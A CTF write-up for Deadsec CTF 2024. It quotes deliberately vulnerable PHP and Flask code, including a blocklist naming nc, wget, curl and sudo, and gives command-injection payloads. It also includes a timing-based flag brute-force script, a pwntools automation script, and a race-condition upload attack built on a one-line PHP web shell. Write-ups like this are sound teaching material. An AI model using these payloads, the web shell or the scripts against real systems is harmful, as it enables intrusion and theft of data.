Deadsec CTF 2024

Deadsec 2024 writeups

This challenge uses shell_exec with our input, however there are many input commands that are being escaped.

Source code:

php

<?php

if (isset($_POST['Submit'])) {
	$target = trim($_REQUEST['ip']);

	$substitutions = array(
		' ' => '',
		'&'  => '',
		'&&' => '',
		'('  => '',
		')'  => '',
		'-'  => '',
		'`'  => '',
		'|' => '',
		'||' => '',
		'; ' => '',	
		'%' => '',
		'~' => '',
		'<' => '',
		'>' => '',
		'/ ' => '',
		'\\' => '',
		'ls' => '',
        'cat' => '',
        'less' => '',
        'tail' => '',
        'more' => '',
        'whoami' => '',
        'pwd' => '',
        'busybox' => '',
        'nc' => '',
        'exec' => '',
        'sh' => '',
        'bash' => '',
        'php' => '',
        'perl' => '',
        'python' => '',
        'ruby' => '',
        'java' => '',
        'javac' => '',
        'gcc' => '',
        'g++' => '',
        'make' => '',
        'cmake' => '',
        'nmap' => '',
        'wget' => '',
        'curl' => '',
        'scp' => '',
        'ssh' => '',
        'ftp' => '',
        'telnet' => '',
        'dig' => '',
        'nslookup' => '',
        'iptables' => '',
        'chmod' => '',
        'chown' => '',
        'chgrp' => '',
        'kill' => '',
        'killall' => '',
        'service' => '',
        'systemctl' => '',
        'sudo' => '',
        'su' => '',
        'flag' => '',
	);

	$target = str_replace(array_keys($substitutions), $substitutions, $target);
    echo $target;
    echo "\n";
    echo "\\";
	if (stristr(php_uname('s'), 'Windows NT')) {
		$cmd = shell_exec('ping  ' . $target);
	} else {
        echo "else is else\n";
		$cmd = shell_exec('ping  -c 4 ' . (string)$target);
        echo $cmd;
		
	}
}

The solution is not difficult, spaces are escaped, but tabs are not, ${IFS} could also be used.

; head /fla?.txt

This challenge is a python Flask. There is a os.system call made with our input
output = os.system(f'ping -c 1 {cmd}').

Source code:

py

#!/usr/bin/env python3
import os
from flask import Flask, request, render_template

app = Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'{host}'
        print(f"======> {cmd}")
        if not cmd:
             return render_template('ping_result.html', data='Hello')
        try:
            output = os.system(f'ping -c 1 {cmd}')
            print(f"======> {output}")
            return render_template('ping_result.html', data="DeadSecCTF2024")
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'error when executing command')
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Command timed out')

    return render_template('ping.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=6000)

To solve this challenge, I created a script that brute forces the flag per character. I did this using the sleep function in the os.system command. The entire command is the following:
; grep '^{solution}{char}' /flag.txt && sleep 8

; = escape the ping -c 1
grep '^{input}' /flag.txt = grep our input on /flag.txt. The ^ checks it from the beginning of the string.
&& = only execute the command after this if the command before this succeeded.
sleep 8 = sleep for 8 second

Altogether this means that if the correct character is being guessed, the requests takes 8 seconds. After that the loop continues to brute force the next character.

py

import requests
import time
import string

print()
characters = string.ascii_lowercase + string.digits + "{}_!@#$%^&()-=+"
print("Characters to test:", characters)

# base_url = "http://localhost:5000/flag"
base_url = "https://cc5e7d6eee11a88df1b6f978.deadsec.quest/flag"

solution = "DEAD{"

while solution[-1] != "}":
    for char in characters:
        payload = f"; grep '^{solution}{char}' /flag.txt && sleep 8"
        # print(payload)
        data = {'host': payload}
        start = time.time()
        x = requests.post(base_url, data=data)
        x.text
        end = time.time()
        elapsed_time = end - start
        if elapsed_time > 8:
            solution += char
            print(f"Solution: {solution}")
            break
        print(f"Character: {char}, Time: {elapsed_time}")

After connecting via nc, there are 100 rounds where you have to succeed in the mic check, if you’re not fast enough to type the words out, it returns mic check fail :(

$ nc 34.132.190.59 31991 mic test > o [1/100] submit test words > o mic test > zh [2/100] submit test words > zh mic test > odk [3/100] submit test words > odk mic test > rdhm [4/100] submit test words > rdhm mic check fail :(

I wrote the following script to automate this:

py

from pwn import *

target = remote("34.44.175.226", 31617)

# Function to process and send data
def process_and_send(data):
    print(data)
    data = data.decode("utf-8")
    new = data.split("mic test >  ")[-1].split(" [")[0]
    target.sendline(new.encode())


# Loop for subsequent rounds
for i in range(100):
    data = target.recvuntil(b"]")
    process_and_send(data)

target.interactive()

I couldn’t solve this challenge, I am still unsure why. I talked with other participants and I tested their exact code, which also didn’t work for me. However I decided to still write down what I did.

This challenge is a race condition, which is hinted from the name ezstart.

Source code:

php

<?php

session_start();

function is_malware($file_path)
{   
    $content = file_get_contents($file_path);
    if (strpos($content, '<?php') !== false) {
        return true; 
    }
    return false;
}

function is_image($path, $ext)
{
    // Define allowed extensions
    $allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];
    
    // Check if the extension is allowed
    if (!in_array(strtolower($ext), $allowed_extensions)) {
        return false;
    }
    
    // Check if the file is a valid image
    $image_info = getimagesize($path);
    if ($image_info === false) {
        return false;
    }
    
    return true;
}

if (isset($_FILES) && !empty($_FILES)) {

    $uploadpath = "tmp/";
    
    $ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
    $filename = basename($_FILES["files"]["name"], "." . $ext);

    $timestamp = time();
    $new_name = $filename . '_' . $timestamp . '.' . $ext;
   
    $upload_dir = $uploadpath . $new_name;


    if ($_FILES['files']['size'] <= 10485760) {
        move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
    } else {
        echo $error2 = "File size exceeds 10MB";
    }

    if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
        $_SESSION['context'] = "Upload successful";
    } else {
        $_SESSION['context'] = "File is not a valid image or is potentially malicious";
    }

    echo $upload_dir;
    unlink($upload_dir);
}

?>

The important part is that the is_image and is_malware functions do not matter at all, since our file is uploaded and moved to the upload directory before this. Afterwards the $upload_dir is echoed back and the uploaded file is deleted with unlink.

If I upload a normal jpeg file named cat.jpeg it returns the directory where it is at tmp/cat_1722158732.jpeg. If I try to visit this, it returns a 404, since it is already deleted.

So the goal is to read the flag with a ‘malicious’ php file that we upload, before it is deleted.

I wrote two python scripts for this, one for uploading it continuously and one to make get requests concurrently.

py

import time
import requests

# MAIN_URL = "https://0cafcc409286b99fcf41ff14.deadsec.quest"
MAIN_URL = "http://127.0.0.1:1338"

i = 0
while True:
    files = {'files': ('shell.php',open('shell.php', 'rb'), 'text/php')}
    req = requests.post(f"{MAIN_URL}/upload.php", files=files)
    if req.status_code == 200:
        print(f"Uploaded {i}x")
        print(req.text)
    else:
        print(f"Failed to upload shell.php - {i}x")
        break
    i += 1
    time.sleep(0.2)

This script uses multiple workers to make multiple requests at once, this is done to ‘guess’ the time that get’s assigned. This is done against the delay between the time at the server and my script.

py

import time
import requests
import concurrent.futures
import sys

# MAIN_URL = "https://0cafcc409286b99fcf41ff14.deadsec.quest"
MAIN_URL = "http://127.0.0.1:1338"


def check_page_exists(time_int):
    url = f"{MAIN_URL}/tmp/shell_{time_int}.php?cmd=cat /flag.txt"
    
    try:
        response = requests.get(url)
        
        if response.status_code == 200:
            print(f"Page exists: {url}")
            print(response.text)
            return True  
        else:
            print(f"Page does not exist: {url} - Status Code: {response.status_code}")
            return False
    
    except requests.RequestException as e:
        print(f"An error occurred: {e}")
        return False  

def main():
    while True:
        current_time_int = int(time.time()) + 2
        time_ints = [current_time_int, current_time_int - 1, current_time_int - 2, current_time_int - 3, current_time_int - 4]

        with concurrent.futures.ThreadPoolExecutor() as executor:
            future_to_time_int = {executor.submit(check_page_exists, time_int): time_int for time_int in time_ints}

            for future in concurrent.futures.as_completed(future_to_time_int):
                if future.result():  # Check if the page exists
                    sys.exit()  # Exit the program if a page exists

        time.sleep(1)

if __name__ == "__main__":
    main()

php

<?php system($_GET['cmd']) ?>

I also tried this shell.php content

php

<?php echo file_get_contents('/flag.txt');?>

I tested that all the scripts worked by running the php server locally via docker and commenting the unlink($upload_dir); method out, so the files are persistent.
With that setup both scripts worked as expected, however with the unlink($upload_dir); uncommented, it never seemed to work. I send over 200K requests, but no results.

If anyone knows what I did wrong, please let me know.